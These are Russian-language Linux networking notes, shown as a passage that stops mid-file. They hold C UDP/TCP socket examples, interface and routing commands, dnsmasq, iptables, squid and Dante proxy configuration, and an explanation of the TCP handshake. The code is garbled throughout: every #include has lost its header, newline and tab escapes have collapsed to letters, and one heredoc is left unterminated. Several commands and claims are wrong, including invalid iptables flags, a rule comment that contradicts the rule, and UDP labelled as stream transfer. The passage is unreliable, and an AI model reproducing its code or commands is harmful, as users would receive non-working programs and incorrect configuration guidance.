dig @8.8.4.4 b14esh.com


Разрешение имен в программном коде:

cat > gclie.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUF_SIZE 500

int main(int argc, char *argv[]) {
   struct addrinfo hints;
   struct addrinfo *result, *rp;
   int sfd, s, j;
   size_t len;
   ssize_t nread;
   char buf[BUF_SIZE];
   if (argc < 3) {
      fprintf(stderr, "Usage: %s host port msg...n", argv[0]);
      exit(EXIT_FAILURE);
   }
   /* Obtain address(es) matching host/port */
   memset(&hints, 0, sizeof(struct addrinfo));
   hints.ai_family = AF_UNSPEC;    /* Allow IPv4 or IPv6 */
   hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */
   hints.ai_flags = 0;
   hints.ai_protocol = 0;          /* Any protocol */
   s = getaddrinfo(argv[1], argv[2], &hints, &result);
   if (s != 0) {
      fprintf(stderr, "getaddrinfo: %sn", gai_strerror(s));
      exit(EXIT_FAILURE);
   }
   /* getaddrinfo() returns a list of address structures.
      Try each address until we successfully connect(2).
      If socket(2) (or connect(2)) fails, we (close the socket
      and) try the next address. */
   for (rp = result; rp != NULL; rp = rp->ai_next) {
      sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
      if (sfd == -1) continue;
      if (connect(sfd, rp->ai_addr, rp->ai_addrlen) != -1)
         break;                    /* Success */
      close(sfd);
   }
   if (rp == NULL) {               /* No address succeeded */
      fprintf(stderr, "Could not connectn");
      exit(EXIT_FAILURE);
   }
   freeaddrinfo(result);           /* No longer needed */
   /* Send remaining command-line arguments as separate
      datagrams, and read responses from server */
   for (j = 3; j < argc; j++) {
      len = strlen(argv[j]) + 1;
      /* +1 for terminating null byte */
      if (len + 1 > BUF_SIZE) {
         fprintf(stderr, "Ignoring long message in argument %dn", j);
         continue;
      }
      if (write(sfd, argv[j], len) != len) {
         fprintf(stderr, "partial/failed writen");
         exit(EXIT_FAILURE);
      }
      nread = read(sfd, buf, BUF_SIZE);
      if (nread == -1) {
         perror("read");
         exit(EXIT_FAILURE);
      }
      printf("Received %ld bytes: %sn", (long)nread, buf);
   }
   exit(EXIT_SUCCESS);
}
EOF



cat > gserv.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUF_SIZE 500

int main(int argc, char *argv[]) {
   struct addrinfo hints;
   struct addrinfo *result, *rp;
   int sfd, s;
   struct sockaddr_storage peer_addr;
   socklen_t peer_addr_len;
   ssize_t nread;
   char buf[BUF_SIZE];
   if (argc != 2) {
      fprintf(stderr, "Usage: %s portn", argv[0]);
      exit(EXIT_FAILURE);
   }
   memset(&hints, 0, sizeof(struct addrinfo));
   hints.ai_family = AF_UNSPEC;    /* Allow IPv4 or IPv6 */
   hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */
   hints.ai_flags = AI_PASSIVE;     /* For wildcard IP address */
   hints.ai_protocol = 0;          /* Any protocol */
   hints.ai_canonname = NULL;
   hints.ai_addr = NULL;
   hints.ai_next = NULL;
   s = getaddrinfo(NULL, argv[1], &hints, &result);
   if (s != 0) {
      fprintf(stderr, "getaddrinfo: %sn", gai_strerror(s));
      exit(EXIT_FAILURE);
   }
   /* getaddrinfo() returns a list of address structures.
      Try each address until we successfully bind(2).
      If socket(2) (or bind(2)) fails, we (close the socket
      and) try the next address. */
   for (rp = result; rp != NULL; rp = rp->ai_next) {
      sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
      if (sfd == -1)
      continue;
      if (bind(sfd, rp->ai_addr, rp->ai_addrlen) == 0)
         break;                   /* Success */
      close (sfd);
   }
   if (rp == NULL) {               /* No address succeeded */
      fprintf(stderr, "Could not bindn");
      exit(EXIT_FAILURE);
   }
   freeaddrinfo(result);          /* No longer needed */
   /* Read datagrams and echo them back to sender */
   for (;;) {
      peer_addr_len = sizeof(struct sockaddr_storage);
      nread = recvfrom(sfd, buf, BUF_SIZE, 0,
                       (struct sockaddr*)&peer_addr, &peer_addr_len);
      if (nread == -1)
         continue;                /* Ignore failed request */
      char host[NI_MAXHOST], service[NI_MAXSERV];
      s = getnameinfo((struct sockaddr*) &peer_addr,
                      peer_addr_len, host, NI_MAXHOST,
                      service, NI_MAXSERV, NI_NUMERICSERV);
      if (s == 0)
         printf("Received %ld bytes from %s:%sn",
                (long)nread, host, service);
      else
         fprintf(stderr, "getnameinfo: %sn", gai_strerror(s));
      if (sendto(sfd, buf, nread, 0,
                 (struct sockaddr*)&peer_addr,
                 peer_addr_len) != nread)
         fprintf(stderr, "Error sending responsen");
   }
}
EOF



Для компиляции используй:
gcc -o gclie gclie.c
gcc -o gserv gserv.c 


Запуск:
./gserv 6000 
./gclie localhost 6000 privet
./gclie 127.0.0.1 6000 privet

Что тут происходи:

Функция  
#include 
struct hostent *gethostbyname(const char *name);
Функция возвращает информации о хосте по его имени
struct hostent {
 char *h_name;        /* Official name of host. */
 char **h_aliases;    /* Alias list. */
 int h_addrtype;      /* Host address type AF_INET or AF_INET6 */
 int h_length;        /* Length of address 4 or 16 */
 char **h_addr_list;  /* List of addresses from name server. */

Функция gethostbyaddr() возвращает информацию о хосте по IP-адресу

Функция getaddrinfo()ведена более поздним POSIX, скрывает все зависимости в параметрах от типа протокола


 

Пример Makefile для adr, gclie, gserv

cat > Makefile << "EOF"
CC = gcc -Wall

SRC = adr gclie gserv

all:    $(SRC)

clean disclean:
	rm -f $(SRC)
EOF

# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 

Для компиляции используй:
make

Сетевые интерфейсы:

Посмотреть текущие сетевые интерфейсы:
ip link
ifconfig 

В каталоге /proc
ls /proc/sys/net/ipv4/conf
ls /proc/sys/net/ipv4/conf/eth0/
ls -w80 /proc/sys/net/ipv4/conf/eth0/

Так же как для блочных устройств(дисков) в Linux, когда они еще не пригодны для работы, пока их не смонтируют,
так и сетевые интерфейсы сами по себе еще не пригодны для работы в сети, пока их не подготовят к использованию.
Для работы нужно назначить например  IP-адрес, маску.

Пример именования интерфейсов и их назначения(ip link / ip a / ifconfig):

cipsec0 - Виртуальная частная сеть, VPN, "Cisco Systems VPN Client от Cisco Systems", работает через реальный физический канал.

eml - интерфейс физического проводного Ethernet-адаптера 

eth0- интерфейс физического проводного Ethernet-адаптера 

enp1- интерфейс физического проводного Ethernet-адаптера 

wlan0 - интерфейс физического беспроводного Wi-Fi-адаптера 

wlo1 - интерфейс физического беспроводного Wi-Fi-адаптера 

ppp0 - это может быть беспроводной 3G CMDA модем на USB-шине

lo - логический петлевой интерфейс

Проверка доступности ip адреса
ping 10.0.0.1


Основные команды для работы c Ethernet
ifconfig --help
ip help
ip a 
ip addr show dev eth0
ip link
ip addr help

Основные команды для работы с Wi-Fi
iwconfig
iw wlan0 info
rfkill
rfkill list
iw phy0 info

Графическая программа для управления сетью NetworkManager

Консольная программа для управления NetworkManager
nmcli --help

Таблица маршрутизации (роутинг)

route -n
route -n -6
ip route --help
ip route show
ip -6 route show 

Если все рассматриваемые ранее параметры: IP-адрес, маска, префикс и д.р. - это атрибуты сетевого интерфейса,
то таблица роутинга - это атрибут сетевого хоста в целом, это таблица ядра операционной системы.
0.0.0.0 - default - шлюз последней надежды

Алиасные IP-адреса / дополнительный IP адрес из другой сети

ifconfig eno1:1 10.0.0.2/24 up
команда ip позволяет сразу навесить скольго угодна ip на один интерфейс.
ip a a 10.10.0.1/24 dev eno1
ip a a 10.10.1.1/24 dev eno1
ip a a 10.10.2.1/24 dev eno1

Петлевой интерфейс:

На любом компьютере хосте, даже если он никак не использует сеть (не подключен к сети),
присутствует петлевой интерфейс (loopback, интерфейс lo)
под петлевой интерфейс выделена группа 127/8 и ::1

Петлевой интерфейс позволяет программам на компьютере использовать стек TCP/IP локально.


Переименование сетевого интерфейса

ip link set dev eno1 name eth0

Альтернативные имена (ядро выше 5.4.0)

ip link property add dev eth0 altname eno99

Порты транспортного уровня:

Каждому протоколу более высоких уровней (SSH,RDP,FTP,HTTP,HTTPS, etc) соответствует свой стандартный порт.
Порты бываю: TCP или UDP
Порты разделены на три:
общеизвестные / системны 0-1024 (всегда требуются права root)
зарегистрированные / пользовательские 1024-49151 (зарегистрировала комиссия IANA официально)
динамические / частные 49152-65535

Посмотреть порты:
cat /etc/services 

Посмотреть сколько портов знает система:
grep -v ^$ /etc/services | grep -v ^# | wc -l

Номера портов можно и используется разные, например для HTTP никто не может веб серверу запретить использовать порт 8888 вместо 80. 



Датаграммная передача - UDP
Потоковая передача - UDP

Датаграммный протокол UDP ориентирован на быструю передачу информации, ничем не гарантирующую доставку. 
Вплоть до того, что приемная сторона(ее сетевой стек) имеет право просто успешно принимать UDP-сообщения, 
но если она перегружена, то по собственной инициативе просто сбрасывать в мусор уже принятые пакеты, 
никак не уведомляя об этом ни приемную, ни передающую сторону.

Потоковый протокол TCP ориентирован на надежную доставку информации.
В случае потери пакетов или их искажения на тракте передающая сторона делает многократные попытки повторения передачи.

Протокол UDP определен в RFC 768.
Протокол TCP посвящены RFC 790, 791, 793, 1025, 1323.

!!!
Не обольщайтесь кажущейся простотой и понятностью протокола UDP при реализации надежного взаимодействия
в создаваемом вами проекте. 
Надстраивание над UDP средств контроля и резервирования - это ловушка, которую попадают многие разработчики, впервые начинающие сетевое проектирование.
При этом повторяете путь развития TCP, который занял не одно десятилетие.

Инструменты диагностики:

посмотреть линки:
ip link
Проверить таблицу маршрутизации:
route -n

Инструменты наблюдения:

ping 8.8.8.8

traceroute 8.8.8.8

netstat -i

netstat -t 

ss -tplnu

arp

nslookup google.com

nslookup 8.8.8.8

host ya.ru

dig google.com

tcpdump -i eth0

id 

who

ps -uaxf 

Инструменты тестирования:

scp test root@10.10.10.10:
sftp name@6.6.6.6:/home/name/1.txt

nc -l 1234
nc 127.0.0.1 1234

iperf -s 
iperf -c 10.10.10.1
iperf -c 10.10.10.1 -P4

iperf3 -s 
iperf3 -c 10.10.10.1
iperf3 -c 10.10.10.1 -P4

Сервисы сети и systemd

Все сетевые продукты состоят из трех основных компонентов
1) Протокол
2) Клиент
3) Сервис


mc (Midnight Commnader)

Есть очень удобный способ подключится по ssh к удаленной машине
Называется он "Shell-соединение"
перед использованием этого способа убедитесь что у вас подключается по ssh.

TAB - перемещение между правой и левой лакацией
Enter - Свободное перемещение по каталогам
F5 - копировать
F6 - перемещать
F3 - просматривать
F4 - редактировать

SSH

Графическая сессия 
ssh -X user@server xclock
ssh -Y user@server VirtualBox

Не все так может быть запущенно, но многие программы работают.
Не которые программы сами умеют подключатся через shell.
Например mc, virt-manager и etc

Протокол DHCP

DHCP
Dynamic Host Configuration Protocol

Протокол DHCP - это клиент-серверный протокол, который автоматически доставляет хосту в момент его загрузки IP-адрес (из определенного пула адресов)
и другие связанные сведения о конфигурации, такие как маска подсети и шлюз по умолчанию

RFC2131 и 2132 - определяют протокол DHCP в качестве стандарта "Internet Engineering Task Force" (IETF)
основанного на более раннем протоколе загрузке BOOTP

В сети не может быть более одного DHCP сервера, так как могут возникнуть проблемы раздачи IP-адресов

Самый популярный в linux DHCP сервер это isc-dhcp-server
Чаще всего встретите после него это dnsmasq

Разрешение имен: служба DNS

Domain name system

Сам DNS-протокол базируется на UDP-, либо на TCP-транспорте, на ранних этапах это было только UDP
Используется по умолчанию порт 53 (TCP/UDP)

Самый известный DNS-резолвер bind

Самый просто и кеширующий DHCP/DNS-сервер dnsmasq

Самый частый в systemd это systemd-resolved.services (чаще всего выключен, 
но настраивается очень просто, нужно отредактировать "DNS=" в файле "/etc/systemd/resolved.conf" 
и включить демон командой "sytemctl enable systemd-resolved.services && sytemctl start systemd-resolved.services") 
resolvectl status


# для debian11-12 может пригодится для восстановления systemd-resolved
#  ln -s /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf

Немного про конфигурацию dnsmasq

ls /etc/dnsmasq.d/*.conf

конфиги могут быть разнесены по файла 
dhcp.conf
dns.conf
так и могут быть в одном файле dnsmasq.conf

dhcp.conf
---------
interface=eth1                                           # - интерфейс на котором будет работать dhcp
dhcp-range=192.168.25.2,192.168.25.150,255.255.255.0,12h # - объявляем диапазон для аренды
dhcp-option=option:router,192.168.25.1                   # - default gateway
log-dhcp                                                 # - включить логи
---------

dns.conf
--------
listen-address=127.0.0.1                # - принимаем запросы только из петли
interface=eth1                          # - слушаем только на этом интерфейсе
domain-needed                           # - никогда не присылать адреса без доменной части
bogus-priv                              # - никогда не пересылать адреса из не маршрутизированного пространства
stop-dns-rebind                         # - отклонять ответы от вышестоящих DNS-серверов
rebind-localhost-ok                     # - отключить проверку для 127.0.0.0/8
strict-order                            # - пересылать запросы с первого по порядку
no-resolv                               # - не использовать /etc/resolv.conf
no-hosts                                # - не читать /etc/hosts
domain=localdomain
local-ttl=7200
neg-ttl=14400
max-ttl=86400
server=192.168.25.1
server=8.8.8.8
server=8.8.4.4
--------

iptables

iptables --help

Просмотр правил основных цепочек INPUT  FORWARD  OUTPUT
iptables -L -v -n
iptables-save

Просмотр правил трансляции адресов NAT:
iptables -t nat -L -line-numbers

Разрешить все входящие пакеты (таблицу filter можно не указывать она дефолтная):
iptables -f filter -I OUTPUT 1 -j ACCEPT

Запретить все исходящие пакеты из подсети 10.10.10.0/24
iptables -t filter -A INPUT -s 10.10.10.0/24 -j DROP

Разрешение SSH:
iptables -A INPUT -p tcp --dport 22 -J ACCEPT

Разрешить диапазон входящих портов TCP:
iptables -A -p tcp --dport 3000:4000 -j ACCEPT

Разрешить ICMP:
iptables -A INPUT -p icmp -j ACCEPT

Systemd и сокетная активация сервисов на примере pure-ftpd

!!! Врятли у вас получится сделать это на современных дистрибутивах, так как файлы для запуска сервиса будут установлены автоматически.
apt install pure-ftpd

cat > /usr/lib/systemd/system/pure-ftpd.socket << "EOF"
[Unit]
Descrtiption=pure-ftp FTP server Activation Socket
Conflicts=pure-ftpd.service

[Socket]

ListenStream=21
Accept=true

[Install]
WantedBy=socket.target

EOF

cat > /usr/lib/systemd/system/pure-ftpd@.service << "EOF"
[Unit]
Descriptiom=pure-ftpd FTP Server
After=network-online.target

[Service]
ExecStart=-/usr/sbin/pure-ftpd
StandartInput=socket

EOF

systemctl status pure-ftpd
systemctl stop pure-ftpd
systemctl status pure-ftpd
systemct start pure-ftpd.socket
systemct status pure-ftpd.socket

Прокси серверы:

Преодоление текториальных ограничений 
Защита компьютера клиента от атак с наружи
Позволяет сохранить анонимность клиента путем подмены IP
Проксирование на уровне протоков HTTP, HTTPS
Проксирование на уровне L4 UDP, TCP  SOCKS4 и SOCKS5

SOCKS5 - допускает возможность UDP, есть аутентификация

Самый распространённый  SOCKS5 прокси сервер это Dante
apt search Dante
apt install dante-client - научит любое приложение ходить в прокси
apt install dante-serve - прокси сервер

Пока вырубим его 
systemctl disable danted
systemctl stop danted

Простой конфиг без авторизации 
vim /etc/danted.conf
--------------------
logoutput: stderr
internal: eth0 port = 1080
external: eth0 
socksmethod: none
user.privileged: proxy
user.unprivileged: nobody
user.libwrap: nobody
client pass {
       from: 0/0 to: 0/0
       log: connect error
}
socks pass {
      from: 0/0 to: 0/0
      log: connect error
}
--------------------
тут:
internal - входящий интерфейс
external - исходящий 
port - порт прокси
socksmethod - собственно нету авторизации 

Для авторизации изменить конфиг так:
socksmethod: username 
socks pass {
      from: 0/0 to: 0/0
      log: connect disconnect error ioop
      group: proxy
}

и создать пользователя
useradd --shell /usr/sbin/nologin proxy_user_01
passwd proxy_user_01
usermod -a -G proxy proxy_user_01

Прокси через SSH

ssh -N -D 5555 10.10.10.22
curl -s  -x socks4://127.0.0.1:5555 ya.ru
curl -s  -x socks5://127.0.0.1:5555 ya.ru

Прокси squid

#Debian 12 install squid

Устанавливаем:
apt install squid

Сохраняем оригинальный конфиг squid:
cp /etc/squid/squid.conf /etc/squid/squid.conf.backup
( можно вот так вот обработать  cat squid.conf.bak | grep -v "^#" | grep -v "^$" > squid.conf  тем самым убрав комментарии) 

Приводим конфиг к такому виду:
cat > /etc/squid/squid.conf << "EOF"
acl localnet src 0.0.0.1-0.255.255.255  # RFC 1122 "this" network (LAN)
acl localnet src 10.0.0.0/8             # RFC 1918 local private network (LAN)
acl localnet src 100.64.0.0/10          # RFC 6598 shared address space (CGN)
acl localnet src 169.254.0.0/16         # RFC 3927 link-local (directly plugged) machines
acl localnet src 172.16.0.0/12          # RFC 1918 local private network (LAN)
acl localnet src 192.168.0.0/16         # RFC 1918 local private network (LAN)
acl localnet src fc00::/7               # RFC 4193 local private network range
acl localnet src fe80::/10              # RFC 4291 link-local (directly plugged) machines
acl SSL_ports port 443
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost manager
http_access deny manager
include /etc/squid/conf.d/*
http_access allow localhost
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|?) 0     0%      0
refresh_pattern .               0       20%     4320
EOF

И этот конфиг приводим к такому виду:
cat > /etc/squid/conf.d/debian.conf << EOF
#
# Squid configuration settings for Debian
#

# Logs are managed by logrotate on Debian
logfile_rotate 0

# For extra security Debian packages only allow
# localhost to use the proxy on new installs
#
http_access allow localnet
EOF

Запускаем в зависимости от статуса: 
systemctl status squid
systemctl restart squid
systemctl start squid
systemctl enable squid



Мониторинг за прокси

apt install sockstat
sockstat -h 
sockstat -4 

Фазы соединения TCP

В формате каждого пакета транспортного уровня TCP предусмотрено несколько битовых флагов, определяющих предназначение пакета.
Некоторые флаги могут быть установлены одновременно но не в любых комбинациях.

UGR - указатель срочности (urgent pointer) данных
ACK - номер подтверждения необходимо принять в рассмотрение (acknowledgment)
PSH - получатель должен передать эти данные приложению как можно скорее (push)
RST - сбросить соединение (reset)
YN - синхронизирующий номер последовательности установления соединения
FIN - отправитель закончил пересылку данных

Что бы установить TCP соединения, пересылаются три сегмента:
1. Запрашивающая сторона(клиент) отправляет сегмент (флаг) SYN, указывающий номер порта сервера, к которому клиент хочет подключится,
и исходный номер последовательности клиента ISN
2. Сервер отвечает своим сегментом SYN, содержащий номер последовательности сервера. Сервер также подтверждает риход SYN от клиента
с использованием флага ACK(указыва номер ISN клиента плюс один)
3. Клиент должен подтвердить приход SYN от сервера с использованием флага ACK(ISN сервера плюс один)
Этих трех сегментов достаточно для установления соединения.
Часто называют трехразовым рукопожатием (three-way handshake).


Любая сторона может разорвать соединение послав пакет с флагом FIN.
Чаще всего это делает сам клиент.
И это также сопровождается трёхразовым рукопожатием.



Пример работы с UDP TCP в коде :

cat > common.h << "EOF" 
#ifndef __common_h
#define  __common_h

#include 
#include 
#include 
#include 
#include 

#include 
#include  /* basic socket definitions */
#include 
#include 

#include "inet.h"

#define MAXLINE 4096                /* max text line length */
static char sendline[MAXLINE],     /* write buffer */
            recvline[MAXLINE + 1]; /* reaad buffer */

void  err_dump(const char *, ...);
void  err_sys(const char *, ...);

void str_cli(register FILE*, register int sockfd);
void str_echo(int sockfd);

void dg_cli(FILE* fp, int sockfd,
            struct sockaddr* pserv_addr,
            int servlen);
void dg_echo(int sockfd, 
             struct sockaddr* pcli_addr,  
             int maxclilen);
#endif
EOF


cat > dgcli.c  << "EOF"
/* Read the contents of the FILE *fp, write each line to the
 * datagram socket, then read a line back from the datagram
 * socket and write it to the standard output.
 * Return to caller when an EOF is encountered on the input file.
 */
#include "inet.h"

void dg_cli(FILE* fp, int sockfd,
            struct sockaddr* pserv_addr, // ptr to appropriate sockaddr_XX structure 
            int servlen) {               // actual sizeof(*pserv_addr) 
   int n;
   while (fgets(sendline, MAXLINE, fp) != NULL) {
      n = strlen(sendline);
      if (sendto(sockfd, sendline, n, 0, pserv_addr, servlen) != n)
         err_dump("dg_cli: sendto error on socket");
      // Now read a message from the socket and 
      // write it to our standard output.
      n = recvfrom(sockfd, recvline, MAXLINE, 0,
                   (struct sockaddr*)0, (socklen_t*)0);
      if (n < 0)
         err_dump("dg_cli: recvfrom error");
      recvline[n] = 0;    /* null terminate */
      fputs(recvline, stdout);
   }
   if (ferror(fp))
      err_dump("dg_cli: error reading file");
}
EOF


cat > dgecho.c << "EOF" 
/* Read a datagram from a connectionless socket and write it back to
 * the sender.
 * We never return, as we never know when a datagram client is done.
 */
#include "inet.h"

void dg_echo(int sockfd, 
             struct sockaddr* pcli_addr,  /* ptr to appropriate sockaddr_XX structure */
             int maxclilen) {             /* sizeof(*pcli_addr) */
   for (;;) {
      socklen_t clilen = maxclilen;
      int n = recvfrom(sockfd, recvline, MAXLINE, 0, pcli_addr, &clilen);
      if (n < 0) err_dump("dg_echo: recvfrom error");
      if (sendto(sockfd, recvline, n, 0, pcli_addr, clilen) != n)
         err_dump("dg_echo: sendto error");
   }
}




cat > udpcli.c << "EOF"
/* Example of client using UDP protocol. */
#include "inet.h"

int main(int argc, char* argv[]) {
   int sockfd;
   /* Open a UDP socket (an Internet datagram socket). */
   if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
      err_dump("client: can't open datagram socket");
   struct sockaddr_in serv_addr;
   /* Fill in the structure "serv_addr" with the address
    * of the server that we want to send to. */
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sin_family      = AF_INET;
   serv_addr.sin_addr.s_addr = inet_addr(SERV_HOST_ADDR);
   serv_addr.sin_port        = htons(SERV_UDP_PORT);
   dg_cli(stdin, sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
   close(sockfd);
   exit(0);
}
EOF

cat > udpserv.c << "EOF"
// Example of server using UDP protocol.
#include	"inet.h"

int main(int argc, char* argv[] ) {
   /* Open a UDP socket (an Internet datagram socket). */
   int sockfd;
   if((sockfd = socket(AF_INET, SOCK_DGRAM, 0 ) ) < 0 )
      err_dump("server: can't open datagram socket" );
   /* Bind our local address so that the client can send to us. */
   struct sockaddr_in serv_addr;
   bzero((char*)&serv_addr, sizeof(serv_addr ) );
   serv_addr.sin_family      = AF_INET;
   serv_addr.sin_addr.s_addr = htonl(INADDR_ANY );
   serv_addr.sin_port        = htons(SERV_UDP_PORT );
   if(bind(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr ) ) < 0 )
      err_dump("server: can't bind local address" );
   dg_echo(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr ) );
}
EOF



cat > error.c << "EOF"
#include "common.h"
#include      /* ANSI C header file */
#include      /* for syslog() */

int daemon_proc;        /* set nonzero by daemon_init() */

static void err_doit(int, int, const char *, va_list);

/* Fatal error related to a system call.
 * Print a message and terminate. */
void err_sys(const char *fmt, ...) {
   va_list ap;
   va_start(ap, fmt);
   err_doit(1, LOG_ERR, fmt, ap);
   va_end(ap);
   exit(1);
}

/* Fatal error related to a system call.
 * Print a message, dump core, and terminate. */
void err_dump(const char *fmt, ...) {
   va_list ap;
   va_start(ap, fmt);
   err_doit(1, LOG_ERR, fmt, ap);
   va_end(ap);
   abort();             /* dump core and terminate */
   exit(1);             /* shouldn't get here */
}

/* Print a message and return to caller.
 * Caller specifies "errnoflag" and "level". */
static void err_doit(int errnoflag, int level, const char *fmt, va_list ap) {
   int errno_save, n;
   char buf[MAXLINE];
   errno_save = errno;                     /* value caller might want printed */
#ifdef HAVE_VSNPRINTF
   vsnprintf(buf, sizeof(buf), fmt, ap);   /* this is safe */
#else
   vsprintf(buf, fmt, ap);                 /* this is not safe */
#endif
   n = strlen(buf);
   if (errnoflag)
      snprintf(buf + n, sizeof(buf) - n, ": %s", strerror(errno_save));
   strcat(buf, "n");
   if (daemon_proc) {
      syslog(level, buf, "cli-serv : %s");
   } else {
      fflush(stdout);                        /* in case stdout and stderr are the same */
      fputs(buf, stderr);
      fflush(stderr);
   }
   return;
}
EOF



cat > inet.h << "EOF" 
/* Definitions for TCP and UDP client/server programs. */
#include "common.h"

#define SERV_UDP_PORT 60000
#define SERV_TCP_PORT 60000
//#define SERV_HOST_ADDR "192.168.1.13" /* host addr for server */
#define SERV_HOST_ADDR "127.0.0.1"      /* host addr for server */

ssize_t readline(int fd, void *vptr, size_t maxlen);
ssize_t writen(int fd, const void *vptr, size_t n);
EOF


cat  > Makefile << "EOF"
MYLIB   = error.o writen.o readline.o 
#LIBS   =
CFLAGS  = -O -Wall -Wno-unused-variable 

all:    $(MYLIB) tcp udp unixstr unixdg sockopt 
        rm -f *.o

lib:    $(MYLIB)

# Internet stream version (TCP protocol).
tcp:    tcpserv tcpcli

tcpcli.o tcpserv.o: inet.h common.h

tcpserv:        tcpserv.o strecho.o
                $(CC) $(CFLAGS) -o $@ tcpserv.o strecho.o $(MYLIB)

tcpcli:         tcpcli.o strcli.o
                $(CC) $(CFLAGS) -o $@ tcpcli.o strcli.o $(MYLIB)

# Internet datagram version (UDP protocol).
udp:    udpserv udpcli

udpcli.o udpserv.o: inet.h common.h

udpserv:        udpserv.o dgecho.o
                $(CC) $(CFLAGS) -o $@ udpserv.o dgecho.o $(MYLIB)

udpcli:         udpcli.o dgcli.o
                $(CC) $(CFLAGS) -o $@ udpcli.o dgcli.o $(MYLIB)

# UNIX stream version.
unixstr: unixstrserv unixstrcli

unixstrcli.o unixstrserv.o: unix.h common.h

unixstrserv:    unixstrserv.o strecho.o
                $(CC) $(CFLAGS) -o $@ unixstrserv.o strecho.o $(MYLIB)

unixstrcli:     unixstrcli.o strcli.o
                $(CC) $(CFLAGS) -o $@ unixstrcli.o strcli.o $(MYLIB)

# UNIX datagram version.
unixdg: unixdgserv unixdgcli

unixdgcli.o unixdgserv.o: unix.h common.h

unixdgserv:     unixdgserv.o dgecho.o
                $(CC) $(CFLAGS) -o $@ unixdgserv.o dgecho.o $(MYLIB)

unixdgcli:      unixdgcli.o dgcli.o
                $(CC) $(CFLAGS) -o $@ unixdgcli.o dgcli.o $(MYLIB)

sockopt:        sockopt.o common.h
                $(CC) $(CFLAGS) -o $@ sockopt.o $(MYLIB)

clean disclean:
        -rm -f *.o core a.out temp*.* 
                tcpserv tcpcli udpserv udpcli 
                unixstrserv unixstrcli unixdgserv unixdgcli 
                s.unixdg s.unixstr sockopt 
EOF

# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 


cat > readline.c << "EOF"
#include "common.h"

static ssize_t my_read(int fd, char *ptr) {
   static int read_cnt = 0;
   static char *read_ptr;
   static char read_buf[MAXLINE];
   if (read_cnt <= 0) {
again:
      if ((read_cnt = read(fd, read_buf, sizeof(read_buf))) < 0) {
         if (errno == EINTR) goto again;
         return(-1);
      } else if (read_cnt == 0)
         return(0);
      read_ptr = read_buf;
   }
   read_cnt--;
   *ptr = *read_ptr++;
   return(1);
}

ssize_t readline(int fd, void *vptr, size_t maxlen) {
   int n, rc;
   char c, *ptr;
   ptr = vptr;
   for (n = 1; n < maxlen; n++) {
      if ((rc = my_read(fd, &c)) == 1) {
         *ptr++ = c;
         if (c == 'n') break;   /* newline is stored, like fgets() */
      } else if (rc == 0) {
         if(n == 1) return(0);   /* EOF, no data read */
         else break;             /* EOF, some data was read */
      } else return(-1);         /* error, errno set by read() */
   }
   *ptr = 0;                     /* null terminate like fgets() */
   return(n);
}
EOF



cat > sockopt.c << "EOF" 
/* Example of getsockopt() and setsockopt(). */
#include "common.h"
#include 
#include   /* for SOL_SOCKET and SO_xx values */
#include   /* for IPPROTO_TCP value */
#include  /* for TCP_MAXSEG value */

int main() {
   int sockfd, maxseg, sendbuff; //, optlen;
   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      err_sys("can't create socket");
   /* Fetch and print the TCP maximum segment size. */

   socklen_t optlen = sizeof(maxseg);
   if (getsockopt(sockfd, IPPROTO_TCP, TCP_MAXSEG, (char*)&maxseg, &optlen) < 0)
      err_sys("TCP_MAXSEG getsockopt error");
   printf("TCP maxseg = %dn", maxseg);
   /* Set the send buffer size, then fetch it and print its value. */
   sendbuff = 16384; /* just some number for example purposes */
   if (setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF,
                  (char*)&sendbuff, sizeof(sendbuff)) < 0)
      err_sys("SO_SNDBUF setsockopt error");
   optlen = sizeof(sendbuff);
   if (getsockopt(sockfd, SOL_SOCKET, SO_SNDBUF,
                  (char*)&sendbuff, &optlen) < 0)
      err_sys("SO_SNDBUF getsockopt error");
   printf("send buffer size = %dn", sendbuff);
}
EOF


cat > strcli.c << "EOF" 
/* Read the contents of the FILE *fp, write each line to the
 * stream socket (to the server process), then read a line back from
 * the socket and write it to the standard output.
 * Return to caller when an EOF is encountered on the input file.
 */
#include "common.h"

void str_cli(register FILE* fp, register int sockfd) {
   int n;
   while (fgets(sendline, MAXLINE, fp) != NULL) {
      n = strlen(sendline);
      if (writen(sockfd, sendline, n) != n)
         err_sys("str_cli: writen error on socket");
      /* Now read a line from the socket and 
       * write it to our standard output. */
      n = readline(sockfd, recvline, MAXLINE);
      if (n < 0) err_dump("str_cli: readline error");
      recvline[n] = 0;    /* null terminate */
      fputs(recvline, stdout);
   }
   if (ferror(fp))
      err_sys("str_cli: error reading file");
}
EOF



cat > strecho.c << "EOF"
/* Read a stream socket one line at a time, and write each line back
 * to the sender.
 * Return when the connection is terminated.
 */
#include "common.h"

void str_echo(int sockfd) {
   int n;
   for (;;) {
      n = readline(sockfd, recvline, MAXLINE);
      if (n == 0) return;      /* connection terminated */
      else if (n < 0) err_dump("str_echo: readline error");
      if (writen(sockfd, recvline, n) != n)
         err_dump("str_echo: writen error");
   }
}
EOF


cat > tcpcli.c << "EOF"
